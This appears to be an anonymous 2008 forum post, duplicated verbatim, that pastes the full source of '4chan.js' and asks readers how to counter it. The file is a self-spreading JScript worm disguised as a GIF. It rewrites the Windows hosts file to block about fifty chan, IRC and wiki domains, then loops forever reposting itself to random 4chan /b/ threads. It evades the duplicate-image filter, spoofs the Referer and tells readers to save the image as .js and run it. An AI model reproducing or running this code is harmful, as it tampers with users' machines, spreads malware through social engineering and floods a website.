Name: Anonymous 2008-08-27 9:03
hey /prog/rammers
I saved the 4chan.js but not as .js but as .txt
I am able to extract the contents of the javascript code, which I will post right now.
however, since I cannot read javascript because javascript != java, I leave it to your discretion as to how to counter 4chan.js
also, moot if you're reading this, this is oh exploitable on your part. use this code to find the solution to this madness.
code:
GIF89a= " p 1,>>>><<<<牋㍻ >> ";
var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
// Character choices for random alphanumeric strings
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
// Last update time for front page
var modtime = null;
// Get copy of this script
var fs = WSH.createObject("Scripting.FileSystemObject");
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~");
thisfile.close();
// Put copies of the script in System32 directory
try {
var shell = WScript.CreateObject("WScript.Shell");
var env = shell.environment("PROCESS");
var winpath = env("SYSTEMROOT");
var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
for (var i = 0; i < targets.length; i++) {
hostsfile.writeLine("127.0.0.1 " + targets[i]);
}
hostsfile.close();
shell.Run("ipconfig /flushdns");
} catch(e) {}
// Post it over and over
var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
var filename = "lol.gif";
while (1) {
try {
// Modify "image" to get around duplicate image filter
image = image.substr(0,image.length-20);
for (var i = 0; i < 20; i++) {
image = image + choices.charAt( Math.floor(Math.random()*choices.length) );
}
// Create XMLHttp request object
var request = WSH.createObject("Msxml2.XMLHTTP");
// Get a thread number
request.open("get", "http://207.126.64.181/b/imgboard.html", 0);
if (modtime != null) {
request.setRequestHeader("If-Modified-Since", modtime);
}
request.send();
modtime = request.getResponseHeader("Last-Modified");
var threadlist = request.responseText.match(/<span id="nothread\d+/g);
var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
// Set site to post to
request.open("post", "http://207.126.64.182/b/imgboard.php", 0);
// Set headers
var bdry = "";
for (var i = 0; i < 20; i++) {
bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) );
}
request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
// Generate random password
var pwd = "";
for (var i = 0; i < 8; i++) {
pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) );
}
// Send post
var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n"
+ "--%b%cresto\"\r\n\r\n" + thread + "\r\n"
+ "--%b%cname\"\r\n\r\n\r\n"
+ "--%b%cemail\"\r\n\r\nnoko\r\n"
+ "--%b%csub\"\r\n\r\n\r\n"
+ "--%b%ccom\"\r\n\r\n" + comment + "\r\n"
+ "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n";
var post2 = "\r\n"
+ "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n"
+ "--%b%cmode\"\r\n\r\nregist\r\n"
+ "--%b--\r\n";
post = post.replace(/%b/g, bdry);
post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
post2 = post2.replace(/%b/g, bdry);
post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
request.send(post + image + post2);
WSH.sleep( 45000 + Math.floor(30000 * Math.random()) );
} catch(e) {}
}
// embrQroKRMcFSZftMv7H
I saved the 4chan.js but not as .js but as .txt
I am able to extract the contents of the javascript code, which I will post right now.
however, since I cannot read javascript because javascript != java, I leave it to your discretion as to how to counter 4chan.js
also, moot if you're reading this, this is oh exploitable on your part. use this code to find the solution to this madness.
code:
GIF89a= " p 1,>>>><<<<牋㍻ >> ";
var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
// Character choices for random alphanumeric strings
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
// Last update time for front page
var modtime = null;
// Get copy of this script
var fs = WSH.createObject("Scripting.FileSystemObject");
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~");
thisfile.close();
// Put copies of the script in System32 directory
try {
var shell = WScript.CreateObject("WScript.Shell");
var env = shell.environment("PROCESS");
var winpath = env("SYSTEMROOT");
var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
for (var i = 0; i < targets.length; i++) {
hostsfile.writeLine("127.0.0.1 " + targets[i]);
}
hostsfile.close();
shell.Run("ipconfig /flushdns");
} catch(e) {}
// Post it over and over
var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
var filename = "lol.gif";
while (1) {
try {
// Modify "image" to get around duplicate image filter
image = image.substr(0,image.length-20);
for (var i = 0; i < 20; i++) {
image = image + choices.charAt( Math.floor(Math.random()*choices.length) );
}
// Create XMLHttp request object
var request = WSH.createObject("Msxml2.XMLHTTP");
// Get a thread number
request.open("get", "http://207.126.64.181/b/imgboard.html", 0);
if (modtime != null) {
request.setRequestHeader("If-Modified-Since", modtime);
}
request.send();
modtime = request.getResponseHeader("Last-Modified");
var threadlist = request.responseText.match(/<span id="nothread\d+/g);
var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
// Set site to post to
request.open("post", "http://207.126.64.182/b/imgboard.php", 0);
// Set headers
var bdry = "";
for (var i = 0; i < 20; i++) {
bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) );
}
request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
// Generate random password
var pwd = "";
for (var i = 0; i < 8; i++) {
pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) );
}
// Send post
var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n"
+ "--%b%cresto\"\r\n\r\n" + thread + "\r\n"
+ "--%b%cname\"\r\n\r\n\r\n"
+ "--%b%cemail\"\r\n\r\nnoko\r\n"
+ "--%b%csub\"\r\n\r\n\r\n"
+ "--%b%ccom\"\r\n\r\n" + comment + "\r\n"
+ "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n";
var post2 = "\r\n"
+ "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n"
+ "--%b%cmode\"\r\n\r\nregist\r\n"
+ "--%b--\r\n";
post = post.replace(/%b/g, bdry);
post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
post2 = post2.replace(/%b/g, bdry);
post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\"");
request.send(post + image + post2);
WSH.sleep( 45000 + Math.floor(30000 * Math.random()) );
} catch(e) {}
}
// embrQroKRMcFSZftMv7H